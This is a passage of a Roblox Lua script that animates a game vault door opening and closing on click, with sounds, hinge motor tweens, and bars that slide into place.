			Deb = true
			script.Parent.Sound.vaultdooropen:Play()
			if script.Parent.Vault.Door.VaultHandle:FindFirstChild("Motor") then
				TS:Create(script.Parent.Vault.Door.VaultHandle.Motor.HingeConstraint, TweenInfo.new(2), {AngularVelocity = -30}):Play()
			end
			wait(1.8)
			if script.Parent.Vault.Door.VaultHandle:FindFirstChild("Motor") then
				TS:Create(script.Parent.Vault.Door.VaultHandle.Motor.HingeConstraint, TweenInfo.new(4), {AngularVelocity = 0}):Play()
			end
			for i = 7,11 do
				Global.TweenModelBounceOut(script.Parent["Bar"..i].Bar, script.Parent["Bar"..i].ToGo.CFrame, true, .15)
			end

			wait(.9)
			for i = 1,3 do
				Global.TweenModelBounceOut(script.Parent["Bar"..i].Bar, script.Parent["Bar"..i].ToGo.CFrame, true, .375)
			end

			wait(1)
			for i = 4,6 do
				Global.TweenModelBounceOut(script.Parent["Bar"..i].Bar, script.Parent["Bar"..i].ToGo.CFrame, true, .375)
			end

			wait(.7)
			script.Parent.Vault.Door.VaultHandle.Motor.Anchored = true
			Global.TweenModel(script.Parent.Vault.Door, script.Parent.Vault.ToGo.CFrame, true, 6.5)

			wait(7)
			Status = true
			Deb = false
		else
			Deb = true
			script.Parent.Sound.vaultdoorclose:Play()
			Global.TweenModel(script.Parent.Vault.Door, script.Parent.Vault.Org.CFrame, true, 6.5)
			script.Parent.Vault.Door.VaultHandle.Motor.Anchored = false

			wait(1.3)
			if script.Parent.Vault.Door.VaultHandle:FindFirstChild("Motor") then
				TS:Create(script.Parent.Vault.Door.VaultHandle.Motor.HingeConstraint, TweenInfo.new(2), {AngularVelocity = 30}):Play()
			end
			wait(1.8)
			if script.Parent.Vault.Door.VaultHandle:FindFirstChild("Motor") then
				TS:Create(script.Parent.Vault.Door.VaultHandle.Motor.HingeConstraint, TweenInfo.new(4), {AngularVelocity = 0}):Play()
			end
			for i = 7,11 do
				Global.TweenModelBounceOut(script.Parent["Bar"..i].Bar, script.Parent["Bar"..i].Org.CFrame, true, .15)
			end

			wait(1.2)
			for i = 1,3 do
				Global.TweenModelBounceOut(script.Parent["Bar"..i].Bar, script.Parent["Bar"..i].Org.CFrame, true, .375)
			end

			wait(.75)
			for i = 4,6 do
				Global.TweenModelBounceOut(script.Parent["Bar"..i].Bar, script.Parent["Bar"..i].Org.CFrame, true, .375)
			end

			wait(3.5)
			Status = false
			Deb = false
		end
	end
end

script.Parent.ClickDetector.MouseClick:Connect(Toggle)